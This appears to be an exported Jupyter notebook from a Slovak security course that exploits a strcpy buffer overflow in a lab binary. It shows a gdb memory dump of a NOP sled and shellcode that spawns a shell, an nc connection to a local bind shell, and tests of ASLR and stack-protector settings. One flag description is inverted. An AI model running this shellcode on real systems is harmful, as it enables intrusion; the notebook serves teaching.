GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git Copyright (C) 2021 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./bo... (gdb) Breakpoint 1 at 0x118a: file bo.c, line 11. (gdb) Starting program: /home/user1/jupyter.bpd/bo ��������������������������������H1�H������H�����H�f��н���H1X\'H-��������I��g�����QbޜУ������șc�����ا����������B@��\>���K����%���������w�1�6����AAAAAAAAAAAAAAAAAAAAAAAAA����� Breakpoint 1, main (argc=2, argv=0x7fffffffea18) at bo.c:11 11 strcpy(buf, argv[1]); (gdb) 12 printf("%s\n", buf); (gdb) 0x7fffffffe870: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x7fffffffe878: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x7fffffffe880: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x7fffffffe888: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x7fffffffe890: 0x48 0x31 0xc9 0x48 0x81 0xe9 0xf5 0xff 0x7fffffffe898: 0xff 0xff 0x48 0x8d 0x05 0xef 0xff 0xff 0x7fffffffe8a0: 0xff 0x48 0xbb 0x66 0xfa 0x9e 0xd0 0xbd 0x7fffffffe8a8: 0x8e 0x90 0x96 0x48 0x31 0x58 0x27 0x48 0x7fffffffe8b0: 0x2d 0xf8 0xff 0xff 0xff 0xe2 0xf4 0x0c 0x7fffffffe8b8: 0xd3 0xc6 0x49 0xd7 0x8c 0xcf 0xfc 0x67 0x7fffffffe8c0: 0xa4 0x91 0xd5 0xf5 0x19 0xc2 0x51 0x62 0x7fffffffe8c8: 0xde 0x9c 0xd0 0xa3 0xef 0xd8 0x1f 0x80 0x7fffffffe8d0: 0x90 0x8e 0x8a 0xd7 0xbf 0xc8 0x99 0x63 0x7fffffffe8d8: 0x90 0xac 0x88 0xb2 0x8b 0xd8 0xa7 0x90 0x7fffffffe8e0: 0x90 0xb5 0x88 0xb2 0x8b 0xd8 0x01 0x0c 0x7fffffffe8e8: 0xf9 0xc0 0x98 0x42 0x40 0xfa 0xb7 0x3e 0x7fffffffe8f0: 0xf5 0x9b 0xa5 0x4b 0xe4 0xab 0xce 0xff 0x7fffffffe8f8: 0xb2 0x25 0xff 0xdf 0xe7 0xfe 0xb9 0x15 0x7fffffffe900: 0x92 0x9e 0x83 0xf5 0x07 0x77 0xc4 0x31 0x7fffffffe908: 0xb2 0x17 0x36 0xb2 0x8b 0x90 0x96 0x41 0x7fffffffe910: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe918: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe920: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe928: 0x80 0xe8 0xff 0xff 0xff 0x7f 0x00 0x00 (gdb) Continuing. process 5125 is executing new program: /usr/bin/dash Error in re-setting breakpoint 1: Function "main" not defined. [Detaching after vfork from child process 5130] [Detaching after vfork from child process 5131] [Inferior 1 (process 5125) exited normally] (gdb) quit
bash: line 1: warning: command substitution: ignored null byte in input
%%bash
nc -vn 127.0.0.1 7777 <<EOF
uname
ls bo*
exit
EOF
Linux bo bo-shell.py3 bo-shell_remote.py3 bo-shell_rnd.py3 bo.c bo_A.py3
(UNKNOWN) [127.0.0.1] 7777 (?) open
!./bo $(python3 bo-shell_remote.py3) 2>&1
/bin/bash: line 1: warning: command substitution: ignored null byte in input ��������������������������������H1�H������H�����H�f��н���H1X'H-��������I��g�����QbޜУ������șc�����ا����������B@��>���K����%���������w�1�6����AAAAAAAAAAAAAAAAAAAAAAAAA@���� /bin/bash: line 1: 5172 Illegal instruction ./bo $(python3 bo-shell_remote.py3) 2>&1
Tri rôzne úrovne, náhodne zásobník alebo aj halda
%%bash
cat >aslr.c <<EOF
#include <stdio.h>
#include <stdlib.h>
void main()
{
char x[12];
char *y = malloc(sizeof(char)*12);
printf("Address of Stack: 0x%x\n", x);
printf("Address of Heap : 0x%x\n", y);
}
EOF
!gcc -o aslr aslr.c
#!echo 0| sudo tee /proc/sys/kernel/randomize_va_space
!sudo sysctl -w kernel.randomize_va_space=0
!./aslr;echo;./aslr
kernel.randomize_va_space = 0 Address of Stack: 0xffffea2c Address of Heap : 0x555592a0 Address of Stack: 0xffffea2c Address of Heap : 0x555592a0
!sudo sysctl -w kernel.randomize_va_space=1
!./aslr;echo;./aslr
kernel.randomize_va_space = 1 Address of Stack: 0x8855496c Address of Heap : 0x3f7942a0 Address of Stack: 0x6d0ace4c Address of Heap : 0xa14092a0
!sudo sysctl -w kernel.randomize_va_space=2
!./aslr;echo;./aslr
kernel.randomize_va_space = 2 Address of Stack: 0xc5a96dc Address of Heap : 0x93bd2a0 Address of Stack: 0xf25a003c Address of Heap : 0x9912a0
!cat /proc/5195/maps | grep --color -ie 'stack\|$' #presne pridelenia pamate vieme zistit pre dany proces
555555554000-555555555000 r--p 00000000 08:01 37303 /home/user1/jupyter.bpd/bo
555555555000-555555556000 r-xp 00001000 08:01 37303 /home/user1/jupyter.bpd/bo
555555556000-555555557000 r--p 00002000 08:01 37303 /home/user1/jupyter.bpd/bo
555555557000-555555558000 r--p 00002000 08:01 37303 /home/user1/jupyter.bpd/bo
555555558000-555555559000 rw-p 00003000 08:01 37303 /home/user1/jupyter.bpd/bo
555555559000-55555557a000 rw-p 00000000 00:00 0 [heap]
7ffff7dff000-7ffff7e24000 r--p 00000000 08:01 156539 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7e24000-7ffff7f6f000 r-xp 00025000 08:01 156539 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7f6f000-7ffff7fb9000 r--p 00170000 08:01 156539 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fb9000-7ffff7fba000 ---p 001ba000 08:01 156539 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fba000-7ffff7fbd000 r--p 001ba000 08:01 156539 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fbd000-7ffff7fc0000 rw-p 001bd000 08:01 156539 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fc0000-7ffff7fc6000 rw-p 00000000 00:00 0
7ffff7fcc000-7ffff7fd0000 r--p 00000000 00:00 0 [vvar]
7ffff7fd0000-7ffff7fd2000 r-xp 00000000 00:00 0 [vdso]
7ffff7fd2000-7ffff7fd3000 r--p 00000000 08:01 156535 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7fd3000-7ffff7ff3000 r-xp 00001000 08:01 156535 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ff3000-7ffff7ffb000 r--p 00021000 08:01 156535 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ffc000-7ffff7ffd000 r--p 00029000 08:01 156535 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ffd000-7ffff7ffe000 rw-p 0002a000 08:01 156535 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack]
gcc -z execstack
- nastaví stack ako spustiteľný (ináč sa kód uložení v danom segmente nedá spustiť)
gcc -fno-stack-protector
- zapne kontrolu prepísania zásobníka, deteguje zmenu a ukončí program namiesto spustenia kódu na prepísanej adrese (canaries
)
!gcc -fstack-protector -z execstack -o bo_can bo.c
!./bo_can $(/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 200) 2>&1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag *** stack smashing detected ***: terminated /bin/bash: line 1: 5367 Aborted ./bo_can $(/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 200) 2>&1